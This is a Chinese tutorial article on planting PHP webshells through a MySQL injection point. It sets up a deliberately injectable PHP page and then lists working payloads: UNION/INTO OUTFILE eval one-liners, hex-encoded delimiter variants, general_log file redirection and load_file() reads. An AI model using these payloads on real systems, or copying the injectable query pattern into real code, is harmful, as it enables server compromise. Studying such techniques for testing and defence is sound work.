MySQL注入点写入WebShell的几种方式

 更新时间:2025年12月17日 10:57:43   作者:立志成为网安大牛  
本文主要介绍了MySQL注入点写入WebShell的几种方式,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

在工具化日益成熟的今天,手工注入的能力越来越被忽视了。当你掌握了一款工具的使用时,应更深入的去了解工具帮你做了什么,把工具所产生的影响控制在自己可控的范围内。

比如:当面对一个MySQL注入点,通过使用SQLmap--os-shell命令选项,便可轻松一键获取Webshell,但是非正常退出时,便会在网站目录中存留SQLmap临时上传的Webshell文件。

接下来,本文将通过构造一个注入点,分享几种Webshell写入的技巧。

0x01 构造一个注入点

1、在默认数据库test中创建测试表admin和测试数据,新建test用户授予FILE权限。

grant file on *.* to 'test'@'localhost';

但即使有了file权限,输出目录路径应该secure_file_priv一致,否侧文件操作不成功

mysql> show variables like '%sec%'
    -> ;
+--------------------------+----------+
| Variable_name            | Value    |
+--------------------------+----------+
| require_secure_transport | OFF      |
| secure_auth              | ON       |
| secure_file_priv         |          |
+--------------------------+----------+

1.MYSQL新特性限制文件写入及替代方法

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

secure_file_priv

​ 1、限制mysqld 不允许导入 | 导出

​ --secure_file_prive=null

​ 2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下

​ --secure_file_priv=/tmp/

​ 3、不对mysqld 的导入 | 导出做限制

​ --secure_file_priv=

linux

cat /etc/my.cnf

[mysqld]
secure_file_priv=

win

my.ini

[mysqld]
secure_file_priv=

2、使用test用户连接数据库。

<?php
$con=mysql_connect("localhost","test","123456");
mysql_select_db("test", $con);
$id = $_REQUEST[ 'id' ];
$query  = "SELECT * FROM test.admin WHERE id = $id ";
$result = mysql_query($query);
......

0x02 写入WebShell的几种方式

1、利用Union select 写入

这是最常见的写入方式,union 跟select into outfile,将一句话写入evil.php,仅适用于联合注入。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户有File权限、获取物理路径。

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'

?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

2、利用分隔符写入

当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 --os-shell命令,所采用的就是一下这种方式。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --+
此选项指定文本文件中行与行之间数据的分隔字符串 或者字符。
?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>'--+;

同样的技巧,一共有四种形式:

?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码)#

3、利用log写入

新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。

具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。

show variables like '%general%';             # 查看配置
set global general_log = on;               # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。
set global general_log_file = 'E:/study/WWW/evil.php'; # 设置日志目录为shell地址
select '<?php eval($_GET[g]);?>'             # 写入shell
set global general_log=off;                  # 关闭general log模式

附录:高权限文件读取

load_file()读文件——select load_file(‘目录’)。路径使用\\ ,否则会被当作转义符号。

http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+

到此这篇关于MySQL注入点写入WebShell的几种方式的文章就介绍到这了,更多相关MySQL注入点写入WebShell内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • 快速了解MySQL 索引

    快速了解MySQL 索引

    这篇文章主要介绍了MySQL 索引的相关资料,文中讲解非常细致,代码帮助大家更好的理解和学习,感兴趣的朋友可以了解下
    2020-07-07
  • MySQL超详细实现用户管理实例

    MySQL超详细实现用户管理实例

    MySQL 是一个多用户数据库,具有功能强大的访问控制系统,可以为不同用户指定不同权限。在前面的章节中我们使用的是 root 用户,该用户是超级管理员,拥有所有权限,包括创建用户、删除用户和修改用户密码等管理权限
    2022-06-06
  • MySQL定时备份之使用Linux下的crontab定时备份实例

    MySQL定时备份之使用Linux下的crontab定时备份实例

    这篇文章主要介绍了使用Linux下的crontab进行MySQL定时备份的例子,需要的朋友可以参考下
    2014-04-04
  • MySQL复制三种模式:同步、异步、半同步复制有什么区别?

    MySQL复制三种模式:同步、异步、半同步复制有什么区别?

    作为数据库领域的"快递小哥",MySQL复制技术承担着数据运输的重任,今天我们就来聊聊这个数据世界的"快递服务"——同步复制、异步复制、半同步复制到底有什么区别?为什么金融系统必须用半同步?电商大促时又该如何选择?让我们用最接地气的方式揭开这些复制技术的神秘面纱
    2025-03-03
  • 如何解决Mysql报错Deadlock found when trying to get lock;try restarting transaction问题

    如何解决Mysql报错Deadlock found when trying to

    这篇文章主要介绍了如何解决Mysql报错Deadlock found when trying to get lock;try restarting transaction问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2024-05-05
  • 阿里面试MySQL死锁问题的处理

    阿里面试MySQL死锁问题的处理

    这篇文章主要介绍了在阿里面试中的一个问题MySQL死锁问题的处理回答,对常见的死锁案例进行相关分析与探讨,以及如何去尽可能避免死锁给出一些建议
    2022-03-03
  • mysql中的存储过程传参问题

    mysql中的存储过程传参问题

    这篇文章主要介绍了mysql中的存储过程传参问题,具有很好的参考价值,希望对大家有所帮助,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2023-10-10
  • MySql中流程控制函数/统计函数/分组查询用法解析

    MySql中流程控制函数/统计函数/分组查询用法解析

    这篇文章主要介绍了MySql中流程控制函数/统计函数/分组查询用法解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-07-07
  • 彻底卸载mysql 个人亲测!

    彻底卸载mysql 个人亲测!

    这篇文章主要为大家详细介绍了彻底卸载mysql的具体步骤,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2018-08-08
  • Mysql数据库事务概念、操作与隔离级别全解析

    Mysql数据库事务概念、操作与隔离级别全解析

    本文给大家介绍Mysql数据库事务概念、操作与隔离级别全解析,本文结合实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧
    2025-10-10

最新评论